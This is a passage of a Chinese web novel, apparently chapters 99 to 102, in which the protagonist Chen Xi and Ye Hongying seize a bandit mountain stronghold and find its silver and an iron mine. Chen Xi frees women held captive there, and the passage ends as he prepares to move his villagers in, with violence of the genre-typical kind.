翌日清晨,叶红缨好像有些心事,对着陈息欲言又止。
陈息装作看不见,你不跟小爷说话,小爷也懒得搭理你。
叶红缨咬了咬牙,终于没有按捺住心中好奇,开口问道:
“你是怎么知道土匪超过20人的?”
陈息闻言微微一笑,好奇,是要付出代价的。
瞅了瞅膘肥体壮的黑蛟,直接开口:
“我这匹马,瘦的硌屁股,让我骑你的马到鹰嘴山,我就告诉你。”
叶红缨眼睛微微眯起,手已经握住枪杆。
这匹马是父亲送她的汗血宝马,平时自己当个宝供着,岂能让别人骑乘?
陈息见她神色不对,立即把话圆回来:
“不强求哈,不强求。”
简单吃了点干粮,继续出发。
官道上。
陈息一脸得意忘形,骑着黑蛟走在最前面,这高头大马就是舒服,视野都开阔了许多。
这愣种还想跟小爷斗,衣服都给你骗光。
叶红缨黑着一张脸,骑着矮骡子在后面跟着,苦大愁深啥样,她就啥样。
原来村口的暗桩早就通知这登徒子了,黑压压一群土匪,怎么可能少于20人。
叶红缨欲哭无泪,自己明明都发现那暗桩了,这登徒子居然没撤。
那暗桩瞒不了她,但能瞒得了土匪啊,她要被自己蠢哭了。
正午。
鹰嘴山脚下。
陈息抬眉凝目,仔细观察了一下地形,暗暗点头,好一个易守难攻之地。
两片断壁矗立两边,中间夹着一条小路,小路旁还有一道运输货物的通道。
抬眼望去,巨石突起在山尖,形似鹰嘴。
鹰嘴山四周,群山环视,当属这里最高。
叶红缨见陈息在那愣神,一副没见过世面的样子,轻哼了一声翻身下马。
来到陈息身边,白了他一眼,鄙视道:
“跟着姑奶奶走,不然走丢了饿死在这里。”
说完牵着黑蛟,头也不回上山,轻车熟路。
她就是故意讽刺一下陈息,在他手里吃了好几次瘪,总要找找场子,不然心里不痛快。
很是轻松的挑了前面几处暗桩,防止小匪通风报信。
陈息牵着33个土匪跟在她后面,一路上仔细观察,脸上笑意越来越浓。
小路七扭八拐,其中掺杂着不少陷阱,若是第一次来,还真的容易迷路。
走了半个时辰,地势逐渐平坦。
两根粗木桩高高竖起,中间一块斑驳的匾。
鹰嘴寨!
叶红缨回头,对着陈息严肃道:
“你们在这里等着,我去办些事。”
陈息微笑着点头,他知道这愣种要去干啥。
无非就是找大当家的去了,不守她定下的规矩,下场挺严重的。
叶红缨走后不多时,寨内传来几道巨响,巨响过后便是一道道求饶声。
陈息咧咧嘴,在心里同情大当家的1秒。
等到里面消停了,陈息牵着33土匪迈入匪寨。
入眼处,一片相当于后世足球场大小的广场矗立眼前,脚下青石板砖整齐拼接。
环视四周,一排排整齐的房屋,还有好几间兵器库,单论生活条件,比窝窝村强上十倍不止。
陈息咂咂嘴,怪不得都愿意做土匪呢,这寨子放在后世,绝对是山清水秀的庄园。
光是门票就要好几百!
正在他查收着自己未来领地时。
“砰——”
眼前一座大宅子屋门破碎,两个人形物体正摔在陈息脚下。
陈息嘴角狠狠一抽,那特么是我的门,败家娘们。
抬头没好气的瞪了一眼叶红缨,又低头看了看那两个人形物体,抬脚就给踢到一边子去。
蹲下身来,轻轻抚摸地上裂纹的石板,满脸心疼:
“挺好的石板,就这么给砸裂了。”
“这都是我的产业啊。”
身后土匪们同时把头低下,都抬脚看看自己有没有踩裂石板,发现无事后,狠狠松了一口气,暂时保住命了。
冯元庆和苏媚娘被叶红缨甩的七荤八素,又被陈息狠狠踢了一脚,此时都看见太奶向他们招手了。
冯元庆刚喘几口气,突然被一只红色军靴踩在脸上,半张脸贴着地面,嘴巴成了个O形。
“我走时怎么与你说的?”
叶红缨一身煞气,撵了两下脚,疼得冯元庆直吸冷气。
“三...三当家的......都是...吴亮......与我...与我无关...啊...”
“你是大当家的,没有你的允许,吴亮敢下山么,真当姑奶奶的规矩是摆设?”
叶红缨气急了,不守我的规矩是死罪,让我在那登徒子面前出丑是死罪*100。
抬脚便要踩碎他的脑袋,一旁的陈息当时就急了,赶紧拦住叶红缨。
“红缨姑娘请冷静,这里不是处决他们的场地。”
随后抬手一指远处:
“那个位置极阴,包他俩下地狱的。”
叶红缨顺着陈息手指方向一看,一片荒土地映入眼帘,扭头又狐疑的看了一眼他,一句话没说,拖着两人就奔赴刑场。
不守姑奶奶的规矩,必须要下地狱。
叶红缨走后,陈息长吁一口气,这一脚若是踩下去,石板还要碎一块。
心里又骂一句:败家娘们。
叶红缨干活十分麻利,冯元庆和苏媚娘都见到了太奶。
她知道不守规矩的是冯元庆,与下面小匪无关。
将这里仅存的10个小匪绑了过来,砰的一声丢在议事厅地上。
那10个小匪环视了一圈,主动靠向议事厅一角,与那33个土匪归为一个行列。
整整43个土匪,双手都被绑在后面,跪在地上撅着。
陈息翘着二郎腿坐在椅子上,向前一努嘴:
“哪个清楚这里的地形?”
立即有小匪自告奋勇,用膝盖向前蹭了一段,嬉皮笑脸的望着陈息,那态度极尽谄媚:
“回爷的话,小的叫刘图,他们都管小的叫刘兔子,负责管理寨里的所有仓库,对这里地形了如指掌。”
刘兔子知道,新来这位一看就是当家的,连叶红缨都站着,只有他坐着。
陈息微微一笑,这小子倒是挺有眼力见的,向他勾了勾手指。
刘兔子见陈息给自己打手势,蹭着膝盖向前挪动到他脚下一米处,跪的板板正正。
“仓库的清单你有么?”
陈息说着话,唐刀挑开他的绳索。
刘兔子跪在地上活动一下手腕,不敢起身,就跪着回话:
“有有有。”
从怀里摸出一个本子,双手举过头顶呈上。
陈息接过本子,面无表情的翻了几页,他表面上不动声色,心里却十分震惊。
好家伙,粮食铁器,牛羊牲口都有。
而且数量还不少。
这个寨子,有些富裕哈。
“你说你是管仓库的,所有仓库都管么?”
陈息挑了挑眉毛,话中意有所指。
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>“小的懂,小的懂。”
刘兔子快速点头,一脸讨好开口:
“大当家的卧房里就有暗阁,小的这就带爷去。”
陈息轻哦了一声,直接开口:
“带路。”
“爷,请随小的来。”
穿过议事厅,又路过两道走廊,来到冯元庆卧房。
刘兔子推开门,率先走了进去,非常熟练的扭动机关。
“咯吱吱——”
暗阁打开,一间不算大的屋子出现在眼前。
陈息见他如此熟练,四下观察了一下才走进屋子,向前一努嘴:
“你先进去。”
刘兔子连连点头,心说这位新来当家的真谨慎,听话的走了进去。
陈息等了一会,见没有危险才跟了进来。
两边架上摆着各种盒子,打开一看,瞳孔一缩,差点惊掉下巴。
里面全是白花花的银子,将所有盒子都打开数了数,黄的白的都有,足足两千四百两银子。
他的嘴唇有些哆嗦,抿了抿嘴,努力维持着天塌不惊的形象。
刘兔子见陈息如此淡定,以为他看不上这些钱呢,又继续介绍道:
“爷,里面还有些古董字画......”
从架子后面搬出几个大箱子,打开后都是些花瓶字画什么的。
陈息瞧不上这些,盛世古董,乱世黄金。
什么都没有银子实在。
“暗线在哪?”
陈息知道土匪习性,狡兔三窟,这偌大的鹰嘴山,一定有很多小路用来逃跑。
他要第一时间了解清楚。
刘兔子闻言挠了挠头,如实回到:
“爷,您有所不知,咱们这鹰嘴山是一座孤山,三面都是断崖,根本没有退路。”
陈息盯了他很久,见他不像撒谎,心中扼腕叹息。
白瞎了这么一个好地方,居然连个退路都没有。
若是朝廷派兵来,就算攻不上寨子,围你个几月,粮食吃光自动就崩盘了。
刘兔子见陈息有些失望,突然想到了什么,立即说道:
“之前大当家的也因为这事苦恼,寨子北面有个天然山洞,大当家的命人去挖,挖了几年想必也快通了。”
“就是不知,挖通了之后连接到哪里。”
陈息眼睛一亮,天然山洞快挖通了,不管连接到哪里,必须要接着挖。
不然可不能将这里作为主要基地,只能当做备用。
“走,带我去看看。”
“诶诶,好的爷。”
刘兔子带着陈息,穿过广场走了没多远,来到一处隐秘洞口。
“爷,这就是山洞。”
陈息四下看了看,鹰嘴山三面断崖,只有眼前一座不知通向哪里的山洞。
山洞不远处还有从洞里挖出来的残渣石头,上面被白雪覆盖,鼓鼓的像座小山。
看这残渣规模,想必是挖了很久了。
“打开,进去带路。”
“是是是,爷。”
刘兔子赶紧将山洞的破木门打开,点燃了两根火把交给陈息一根,率先走了进去。
陈息跟着进来,山洞两边的洞壁怎么是黑色的,火把凑近,瞳孔猛地一缩。
难道这是......
用手指在上面捻了些黑色粉末在指尖搓了搓,陈息长大了嘴巴,心脏都要吐出来了。
铁矿。
而且还是纯度极高的铁矿。
这一发现另他震惊当场。
缓了良久,才喊出一句。
“出来。”
撂下一句话便跑出山洞,他现在心里只有一个想法。
就是去那堆残渣处再验证一下。
顾不得埋汰,双手连忙扒着积雪,刘兔子摸不着头脑,新来这位爷这是怎么了?
不是要看山洞么,怎么出来巴拉残渣呢。
但他不敢多问,见陈息都亲自扒着积雪,自己也上前去扒。
不多时残渣现了出来,陈息捧起一块黑色石头,眼泪都要下来了。
全是铁矿石,这堆残渣全特么是铁矿石。
他小心翼翼的将一块铁矿石搂在怀里,甚至都怕它化了。
“走走走,**回去,我我我我有事情宣布。”
“是是是,是的大人。”
陈息兴奋的都磕巴了,连带着给刘兔子也弄磕巴了。
刘兔子依旧摸不着头脑,这位新来的爷脾气也太古怪了。
见了那么多银子也没见他这么兴奋啊,现在对着一块破石头傻笑。
这位爷,该不会是傻子吧。
第100章 恭喜你们,重获自由
激动的心,颤抖的手。
陈息抱着铁矿石就回到了议事厅。
这时叶红缨已经找个位置坐下,那些土匪没有陈息命令,依旧双手抱头蹲在墙角。
“去,把他俩解开。”
陈息吩咐一声,刘兔子会意,这里就能爷单独指出的,一定是那两个外寨当家的。
将罗蛮子和霍山解开,两人一脸茫然的望着陈息,解开绳子就是代表不杀我们了,他要干啥?
两人一脑袋问号,紧张的搓着手,悻悻的从人群中站出来,弓着身子挪步到中央,小心翼翼说出一句:
“爷...”
“爷...”
陈息见两人的怂样子,心底嗤笑一声,就这两下子怎么混到三当家的。
看来那两个寨子,比起鹰嘴山强不到哪去。
“说说吧,你们两个寨子什么情况?”
罗蛮子反应快,知道这位爷要开始盘道了,组织一下语言,清了清嗓子开始回话:
“小的先说,小的来至熊岭寨,这次带来25个弟兄靠窑,没...没想到遇到爷了...”
“啪——”
陈息一拍桌子,指着罗蛮子:
“说重点。”
这一拍桌子,把两人都吓了一跳,罗蛮子赶紧答话:
“熊岭寨在西北方向,距离这里3天脚程,大当家的叫蒋根,除了小的带来的25人,手底下还有大约六十人。”
罗蛮子答完,霍山赶紧接着:
“小的来至东南方的奔狼寨,距离这里3天脚程,大当家的叫洪跛子,除了小的带来的25人,手底下还有大约百人。”
两人说完,陈息在心里估算了一下,奔狼寨要比熊岭寨实力强点,还达不到让自己忌惮的规模。
陈息手指轻轻敲着桌案,笑容有些玩味。
“你们两个是选择死?还是选择跟**。”
他们想都没想,连忙接话道:
“小的跟爷干,小的跟爷干。”
两人跪下磕头如小鸡啄米,人在屋檐下,不得不低头。
他们本就是逃兵,在前线贪生怕死,逃回来落草为寇,哪里有什么义气可言,啥都没有性命重要。
在哪都是吃饭,只不过换个地方而已。
陈息见这两个怂包软蛋怕死,心里提不起一丝兴趣,这种货色难堪大用。
“你们两个,带着他们给我挖山洞。”
一指蹲在墙角剩余的土匪。
“你们两个每日三餐,剩下的两餐。”
他早就想好了,43个土匪来自三个寨子,彼此间都不熟悉,让罗蛮子与霍山带着,分出个小阶级,人心自然不齐。
最重要的是,叶红缨还在这里,在鹰嘴山土匪中有些声望,短时间内不会生乱。
等再招些信得过的人进来,很快便把他们同化了。
在此之前,还需做一件重要事。
那就是和叶红缨摊牌。
人需要她来镇住,大旗也需要她扯。
有这么个极负正义感的愣种在这边,省去他不少麻烦。
陈息给土匪们安排好了工,刘兔子上前讨好道:
“爷,冯元庆以前还抢了不少女人,都在地窖关着呢,小的挑几个漂亮的给爷解解乏?”
陈息闻言,立即把头扭向叶红缨,见她的眼神都要喷火了,心中暗自一笑。
转过头看一脸惊讶的看着刘兔子:
“还有这事?人在哪里?带我去看看。”
“好嘞爷,好嘞爷。”
回完了话,赶紧领着陈息前往地窖,看来这位爷好这一口,以后自己得好好表现,再抓来漂亮女人,首先让爷过过目。
路过叶红缨身边时,感受到冰冷的目光射在自己身上,刘兔子明显一哆嗦,以前这种事都是瞒着三当家的,今天他心中有底了。
自己都是听爷的吩咐,三当家的不敢拿自己怎么样。
刘兔子领着陈息去地窖,叶红缨眯着双眼在后面跟着,手已紧紧握住红缨枪。
姑奶奶倒要看看你怎么处理这件事。
叶红缨之所以赖在陈息这里不走,是有着她的想法。
通过这些天接触,她看得出陈息为人和善,给村民们安排活计,伙食也很好,村民们都敬仰他,那种尊重是装不出来的。
举办义诊造福百姓,带领村民抵抗土匪,做事足智多谋有章有法。
她甚至幻想着陈息,能不能帮她将狱中的家人救出来,在这男人身边,仿佛给她一种强烈的依靠感。
现在处理抢来女人的问题,给叶红缨心里带来很大纠结。
若是真如那些土匪一般,自己要不要杀了他以绝后患呢?
不多时,几人来到外面一个杂物间,刘兔子打开地窖盖子,瞬间,一股阴冷湿臭的味道袭来。
光线射进潮湿的地窖,里面七个穿着破烂衣服的女子连忙用手捂住眼睛。
刘兔子在面前扇了扇那股味道,随后大喝一声:
“都他么出来,让爷好好选选,哪个被爷看上了,晚上有顿饱饭吃。”
窖门被打开,女子们听到了刘兔子喝骂,先是吓了一哆嗦,紧接着单手捂着眼睛,顺着地窖的台阶一步步的往上爬。
她们动作很熟练,显然经常遭遇这种事情。
爬出地窖,七个女子站成一排,由于长期在地窖关着,到了外面光线刺眼,还在用手捂着眼睛。
“**——”
刘兔子将她们捂着眼睛的手打开,接续骂着:
“别他么挡着脸,让爷选。”
七名女子身体下意识的向彼此贴近,彷佛这样能给她们带来些许安全感。
迎着刺眼的阳光,她们努力的睁开眼睛,眼角流出泪水也不敢用手去挡。
刘兔子见女子们听话,嬉皮笑脸的扭过头来,向陈息谄媚道:
“爷,人都在这里了,您挑挑。”
刘兔子自认为做的很周到,但他却忽略了陈息眼中一闪而逝的杀意。
“一共就这些人么?”
陈息左右看了看这七个女子,语气显得很平静。
闻言,刘兔子赶紧回道:
“回爷的话,原来有二十多个女子,那些身子弱的被弟兄们玩**,现在只剩这几个了,爷不嫌弃的话......”
“死的那些人呢?”
陈息一抬手打断他,继续追问。
“都扔到后山断崖喂野狗了。”
刘兔子不明白陈息为啥问**,但还是如实回道。
“是那片断崖么?”
陈息侧过身来指着一个方向,刘兔子转身看了看:
“对对对,就是那片断...”
他话还没说完,眼前突然一黑,身体重重摔在地上,意识逐渐消散。
七个女子还没明白怎么回事,只见刘兔子突然倒地,低头看去,脖子处咕噜噜的冒着鲜血,蹬了两下腿便不动了。
“啊——”
女子们看清后,吓得一声惨叫,蹲下身来倚着墙角,身子蜷缩在一起,瑟瑟发抖。
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陈息拿着唐刀,在刘兔子的衣服上擦了擦血迹,收刀回鞘,看向七名女子:
“大家不用怕,告诉我,你们家是哪里的。”
七名女子心脏砰砰直跳,抬眼对上陈息温柔的目光,脸上还挂着和煦的笑容。
又低着头不敢说话,陈息知道她们害怕,也不着急,就这么努力的保持笑容,给她们充足的时间适应。
缓了好一会,其中一个胆子大一些的女子抬头,磕磕巴巴回道:
“回...回爷的话......我们都是附近村子的,被他们......他们杀光了家人...呜呜呜...”
女子越说越激动,到最后捂着脸失声痛哭,一人痛哭,所有女子都跟着哭。
她们的遭遇几乎一样,是土匪从附近村子中抢来的,不光抢了她们,还杀光了她们的家人。
一旁的叶红缨见到这一幕,握着红缨枪的手,指尖泛白,银牙咬的咯吱响。
自己到鹰嘴山月余,根本没发现此事,不然绝不能让这些土匪胡作非为。
她甚至想把冯元庆挖出来鞭尸百遍,才解她心头之恨。
陈息在心里长叹一声,很同情这些女子的遭遇,但悲剧已经发生,亲人已逝,活着的还要努力活下去。
等她们哭够了,陈息才轻声开口:
“你们想回到村里可以,留下来也可以。”
说着话,从怀里掏出一串铜钱:
“走的话,我给你们些铜钱,回去添件衣裳,买些粮食好好过日子。”
“留下的话,可以帮我做活计,每日三餐,10个铜钱。”
见她们还在愣神,陈息蹲下来与她们平视,手中拿着一串钱,和煦一笑:
“留下来也不用担心,想走随时都可以,从现在起,你们是自由的。”
几个女子你看看我,我看看你,心中都在犹豫挣扎。
她们不敢相信任何人,更不敢相信有人会给她们自由。
至于陈息手里的那串钱,想都不敢想。
最终,还是那名胆子大些的女子率先做出决定:
“我叫大妮,这是我妹妹二妮。”
大妮拉过身边一个和她有些相似的女子,接着开口:
“我们的家没了,回去也要饿死,我们留下来给恩人做活计,每日一餐即可,不敢要恩人的工钱。”
大妮做出了决定,剩下的5个女子也纷纷开口:
“我们和大妮一样,亲人都没了,不可能再回村子了,我们都留些来为恩人做活计。”
陈息点了点头,微微一笑:
“工钱是要付的,你们的第一份活计,就是把他处理了。”
陈息站起来指了指地上的刘兔子:
“你们中的许多女子被他们糟蹋死,丢到了后山断崖,我现在交给你们一件事。”
“仇人就在眼前,尽情的发泄,然后将尸体丢下断崖,让他给那些死去的姐妹赔罪。”
陈息说完话,转身出了杂物间,又丢下轻飘飘的一句话:
“做好了到议事厅找我。”
陈息在前面走,叶红缨红着脸在后面跟着,错怪他了啊。
走了没几步,身后杂物间便传来砰砰声,还有一些女子带着哭腔的唾骂声。
撕心裂肺。
陈息止住脚步,仰望苍天,口中轻声呢喃:“尽情的发泄吧,发泄完了将这些全都忘了。”
“恭喜你们,重获新生。”
接下来,便是与叶红缨摊牌了。
第101章 竖旗
回到宽敞的议事厅,陈息直接把主位上的狼皮丢掉,自己又不是土匪,用不着这东西装门面。
大大咧咧往主位上一坐,四下扫了扫,见没什么碍眼的东西了,才将视线落在叶红缨身上。
叶红缨见他把狼皮丢掉,嘴角似乎笑了一下,也坐在了椅子上,目光与他对视。
“耍完了威风,是不是该想想以后怎么办了?”
叶红缨将视线挪开,很是镇定的坐在那里,心里却担心极了。
她怕陈息赶她走,鹰嘴山已经搞定了,自己赖在这里也没了借口。
想想,陈息好像什么都懂,什么都能做好,这么发展下去,将来必成大器。
他能收留那些无家可归的女子,会不会也能帮自己救出家人呢。
叶红缨知道自己的想法有些不切实际,但还是想在他身上赌一次。
“咳咳——”
陈息清了清嗓子,罕见的对着叶红缨正色道:
“感谢红缨姑娘帮在下除了匪患,不知今后有什么打算呢?”
陈息从怀里摸出一个银锭子放在桌上,看这样子,像是要给她遣散费。
叶红缨赶紧将头扭过去,心脏扑扑直跳。
这是要赶人了么?
“那个......挖...挖山洞那些土匪,有很多是鹰嘴山的。”
“现在杀了他们就没人给你干活了,本姑奶奶给你个面子,等他们干完活再杀。”
“这些日子我就留在这里监督他们。”
叶红缨给自己找了个无比牵强的理由,本姑奶奶怕你看不住那些人,我留下来帮你监督,很合理吧?
很合理!
陈息有些好笑的看了看她,差点被这愣种气乐了,帮我监督他们干活,好家伙,也就是你这个脑子能想出这样的理由。
若是平常也就算了,但今天这个理由不是他想要的。
“这样吧,红缨姑娘若是闲来无事,可以在这鹰嘴山住下,监督那些土匪做工是其一。”
“其二嘛......”
陈息说到其二,叶红缨的表情明显有些期待,能允许自己在这住下最好,没想到还有意外惊喜?
多住个三年五年也不是不行。
“红缨姑娘也知道附近匪患猖獗,这次熊岭和奔狼寨都出动了,消息很快便会传到他们寨子中。”
“你猜他们大当家的知道折了这么弟兄,会怎么做?”
叶红缨皱了皱眉,这个问题她倒是想过,原本的打算,抽空去挑了他们寨子便是。
但现在自己有工作了,每天监督土匪做工,反倒是没时间了。
“我......我不知道,你说怎么办?”
叶红缨把问题丢给陈息,谁让你叫姑奶奶在这里监工的,困住了姑奶奶,剩下的烂摊子你收拾。
陈息哈哈一笑,决定不逗这个愣种了。
“如果我是那两个寨子当家的,弟兄们出去这么长时间不回来,首先是要到鹰嘴山问明讨个说法。”
“同时还要派人到窝窝村打探情况。”
“出了这么大事,瞒是瞒不住的,而我这个人向来不喜欢被动。”
陈息顿了顿,双眸如刀锋般扫向叶红缨,后者对上他的双眼,浑身一震,有种被野兽盯上的感觉。
“其二,由你这个三当家的竖起大旗,向那两个寨子发出通告。”
“就说他们带来的人不听指挥,导致折了很多弟兄,让他们当家的到鹰嘴山给个说法。”
“罗蛮子和霍山都在我这里押着,他们一定会来的。”
叶红缨想了片刻,有些担心道:
“那窝窝村的百姓怎么办?”
她怕那两个寨子暴怒,拿窝窝村百姓泄愤。
叶红缨说的,陈息早就料到了,并且已经有了解决问题的办法:
“窝窝村你不用担心,过几天我会把百姓们都转移到这里。”
叶红缨还是有些担心,皱着眉问道:
“那两个寨子来人,你能应对么?”
陈息自信一笑,卖了个关子:
“到时候你就知道了。”
叶红缨想了想,陈息能做出威力那么大的**,想来会有办法应对的吧。
大不了自己多出些力,就算寨子没了,也能护着百姓离开。
“那好,便依你的意思做。”
两人事情刚谈好,七位重获自由的女子进了议事厅,扑通一声,齐齐跪倒。
大妮一个头磕在地上:
“多谢恩人,我们已经将那恶贼丢下断崖。”
陈息上前,赶紧扶起几人,再看她们身上。
人人双手都沾满鲜血,衣服和鞋子上也都染了血迹,不用问,也知道刘兔子的尸体被她们鞭挞成什么样子。
“好,做的不错。”
“这是你们的工钱。”
陈息将早就准备好的铜板强塞到她们手上,每人10个,不多不少。
几女没想好恩人真的给了她们工钱,拿着铜钱再次跪下磕头。
叶红缨帮着陈息将几女扶起,看着她们脸上都有了光彩,心里为她们感到高兴。
再看看陈息,没想到这个登徒子还挺有心的,这样做不仅消除掉她们心内的恐惧,更给了她们活下去的动力。
陈息和叶红缨,挑了一间舒适的屋子专门给七个女子居住,又从库房找出御寒的衣物和粮食。
七个女子感动的都泣不成声,嘴里连连谢着两人。
叶红缨身为女子,更加同情她们的遭遇,若不是自己会武艺能自保,下场不一定好过她们。
想到这里,她眼睛一亮,突然有了个想法,再看看七个女子的年龄与自己差不多大,开口道:
“你们想不想习武?学会了武艺便拥有了自保能力。”
七个女子一愣,习武?
这个概念从未在她们脑子里出现过,她们从小便跟着父母务农,大字都不识得一个,能...能习武么?
她们还在愣神,陈息先一步接过话茬,指了指叶红缨:
“别看眼前这位长的漂亮,她可是绝对的高手,这是你们的机会,还不跪下拜师。”
陈息这话可把叶红缨美坏了,下意识的捋了捋头
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发,脸上红扑扑的,有些不好意思。
几女一听恩人说的话,再看看眼前英姿飒爽的叶红缨,丝毫没有犹豫,立即磕头拜师。
“谢谢师父,谢谢大恩人。”
她们没读过书,自然不会江湖上磕头拜师的说辞。
虽然没有那些俗套,但言语中的真挚是藏不住的。
叶红缨赶紧扶起她们,摸了摸身上并无什么值钱东西,自己第一次当师父,总要给些见面礼嘛。
她脸红红的很是为难,挪了两步,突然想到了什么,瞬间换了表情,对着陈息理直气壮道:
“她们都有工钱,本姑奶奶帮你监工,是不是也有工钱?”
陈息都要被她雷翻了,好家伙,你也要工钱是吧?
小爷还没找你要修门的钱呢。
但为了公平起见,还是回了一句:
“当然有,你的工钱还要比她们多,不然不公平。”
叶红缨开心极了,扬起下巴伸出小手,掌心向上,一脸期待的等着陈息付工钱。
陈息在腰间左右摸,总算摸到一串钱,躲着叶红缨,背过身去拆。
叶红缨见他神秘兮兮的,踮起脚尖瞄着,没想到陈息回头,又立即抿着嘴四下张望,装作没偷看的样子。
陈息手里抓了一大把铜钱,塞到叶红缨两只手里:
“她们每天10个铜钱,你作为师父,每天10个半,两天21个。”
拍了拍叶红缨捧着铜钱的双手,语重心长道:
“这是5天的工钱,省着点花。”
叶红缨都要气炸了,徒弟10个钱,师父两天21个?你是有多抠?
这...这公平吗?
他气急,虽然当着徒弟的面要注意形象,但这个亏不能白吃,憋了半天才憋出一句话:
“你的那个酒,还有那个......那个烧鸡......那个烧肉......”
叶红缨竖起一根手指,放在嘴边一边挠一边想,平时这登徒子带着三个婆娘在屋子里吃的,自己只看到他吃烧鸡那一次。
“反正先这么多,一定要管够,不然姑奶奶**不干了。”
陈息都要乐出声了,好家伙,上次那顿烧烤把这愣种馋坏了是吧。
“行行行,管够,管够。”
有了陈息这句保证,叶红缨心里才算好受一些。
白了陈息一眼,开始给七个女孩讲解一些武艺的基础知识。
人家教徒弟,陈息不便久留,回到冯元庆房间开始转移钱财。
把2000多两银子装个大箱子里,找了个安全的位置藏起来,然后围着寨子一圈又一圈的转悠。
熟悉地形。
一边转悠一边点头,对自己这个新根据地很是满意。
铁矿就在这里,守在这里冶铁炼钢,简直不要太舒服。
还有那不知通往哪里的山洞。
想着想着,自己都笑出声来了。
接下来,将窝窝村村民全部安顿在这里,然后就该会会那两个寨子了。
他要保证,在自己领地内,绝不能出现任何威胁。
第102章 进驻鹰嘴山
翌日清晨。
陈息以加快脚程为借口,花了5个铜钱将黑蛟从叶红缨处租来。
将寨子交给叶红缨暂时管理,单人匹马即刻出发。
黑蛟不愧是汗血宝马,速度很给力,天黑之前便赶回窝窝村。
村口,陈息又狐疑的回想了一下这段路程,眉头皱的很紧。
从窝窝村到鹰嘴山这段路,他已经走了一个来回。
官道虽七扭八拐的,但总感觉像是在绕圈。
可能是此地多山的缘故吧,等发展起来,一定整理出来一条山路。
这样,村子与鹰嘴山形成一道直线,距离将大大缩短。
“村长你回来了。”
二牛从柴垛后的暗桩里探出个脑袋,对着陈息傻笑。
陈息有些纳闷,这小子不是在家做工么,怎地跑到村口暗桩了?
“你怎么在这?”
二牛挠挠脑袋,嘿嘿一笑:
“村长,您走这两天我放心不下夫人们的安全,做完活计便带人守着村口。”
“若是没有村长布置的暗桩,上次100个土匪进村,咱村子可就没了。”
二牛感到庆幸,刚开始只是蛮干,村长让干啥就干啥。
直到见识了村长利用暗桩眼线,再后来暗堡射敌,毫发无伤的干掉100个土匪,心里震惊的无以复加。
原来人人畏惧的土匪,在村长手里弱的像个孩童。
现在跟着村长时间久了,做事情也会动些脑筋了。
陈息很是欣慰的点点头:
“不错,有进步了。”
第一次见二牛上工时,陈息就感觉这小子有点聪明劲,只是思维有些局限。
在他眼里只能蛮干的东西,换另外一种方式完全能轻松应对。
现在能有这种思维上的转变,可不是人人都具备的。
这小子值得培养。
二牛听见村长夸他,有些不好意思:
“都是村长教的好,在您身边二牛感觉学到了很多东西。”
陈息微微一笑,只要虚心肯学就行,他有心培养二牛,眼下就有一个契机。
“你知道鹰嘴山在哪么?”
二牛一愣,他并不知道村长这次去了鹰嘴山,并且把匪寨给占据了。
想想后,突然明白了什么,大声道:
“村长,我知道鹰嘴山位置,咱们是不是去报仇,我立即去集合村民。”
跟着村长时间久了,他也了解一些村长的性子,决不是吃亏的主。
陈息赶紧摆摆手,二牛这是误会了,以为自己要带着村民找土匪火拼呢。
“鹰嘴山匪寨,已经被我拿下了,现在那里是我的地盘。”
二牛听完,目光呆滞,嘴巴张成个O型,村长刚才说什么?
把鹰嘴山匪寨拿下了?
现在成了村长的地盘?
二牛只感觉脑瓜子嗡嗡的,附近村子哪个不知鹰嘴山凶名?
每年都要被他们欺负,****更是家常便饭。
现在怎地?
倒反天罡了?
咱们也能欺负土匪了?
二牛脑袋里全是问号,甚至有些怀疑村长在撒谎。
陈息见他那懵逼样子,白了他一眼:
“有特么点出息,咋地?就许他们欺负百姓,不许我们欺负他们?”
二牛胸口剧烈起伏,大口大口喘着粗气,一张黑脸蛋子被震惊成了酱紫色。
缓了半天才恢复过来,他自认看懂了村长的意图,拍着胸脯子开口道:
“大当家的,您说咋干?”
陈息听见这个称呼,再看着一脸认真的二牛,微微点了点头,翻身下马。
“你转过去。”
“好的大当家的。”
二牛听话,大当家的让他转身,他就转身。
陈息对准他的屁股,狠狠就是一脚。
“大当家的?你全家都是大当家的。”
这个称呼把他气的不轻,小爷辛辛苦苦给你们找根据地,难道是做匪去了?
刚还想培养你,这个货咋培养?
这一脚不轻,二牛捂着屁股疼的直咧嘴。
转过身来,挠着脑袋,都不敢对上陈息的眼神,低着头,像极了犯错的孩子。
“行了,去喊村民到我家集合,我有重要事情宣布。”
“诶诶,好的大当......好的村长。”
二牛一边捂着屁股一边跑,扯着他那破锣嗓子嗷嗷喊:
“全体村民到村长家集合,村长有重要事情宣布。”
二牛干活利索,从村头喊到村尾,一家不落。
不多时,村民全部集合在陈息的院子。
一个个站的标杆溜直,没办法,现在窝窝村太硬气了。
100个土匪进村,给村长家砌墙。
战绩可查!
村民们这阵子吃的好,也不再是皮包骨,脸上都有了光。
规规矩矩的站在那里,都有了些军队的模样。
陈息站在一张大桌子上,身后是三个夫人。
环视一圈,见人都到齐了,清了清嗓子:
“鹰嘴山匪寨,已经被我占领了,现在是我的地盘。”
这一句话出来,全场炸锅。
村民们表情都跟二牛一样,简直不敢置信。
都开始窃窃私语,村长才出去几天功夫,这就把匪寨占了?
陈息拍了拍手,村民们立即噤声,都把视线锁定在村长身上。
“现在有个问题。”
“熊岭寨和奔狼寨,要来找我们麻烦。”
陈息这句话一出口,台下村民立即叫嚷起来。
“村长,不就是两个匪寨嘛,咱们连100个土匪都能打过,来了也不惧他。”
“对啊村长,他们来多少,咱们和他们硬碰。”
“我还希望他们都来呢,那天我射杀了三个土匪,回家后,婆娘都夸我勇武呢。”
“对对对,村长,我也杀了1个土匪,俺娘说了,俺死之后,牌位立的和我爹一边齐,还说俺是家里的大英雄。”
“呸,你才和你爹一边齐?俺娘都说把俺立到祖宗位。”
“哈哈哈哈,倒反天罡,倒反天罡。”
气氛非常活跃,村民们一点都没觉得害怕,都互相打趣笑骂着。
台下互相打趣,惹得樊妍三女掩唇偷笑,望向夫君的眼神都拉丝了。
夫君在她们心中的形象,立的比天都高。
陈息见村民们不惧土匪,自己也有成就感,活跃一下气氛:
“有能耐你把牌位立房顶上,你看你爹回来,揍不揍你就完了。”
“哈哈哈哈。”
村民们哄堂大笑,那位吹牛要立祖宗位的村民,臊的满脸通红,知道村长在打趣自己,挠挠头,嘿嘿的傻笑着。
“行了行了,该说正事了。”
见村长要说正事,人群立即严肃起来。
陈息瞧大家都安静下来,沉声道:
“这次我带大家,换个地方生活一段时间。”
村民们你看看我,我看看你,都没明白村长的意思。
难道要丢弃家园吗?
见众人疑惑,陈息继续开口:
“在那里,人人都有活计做。”
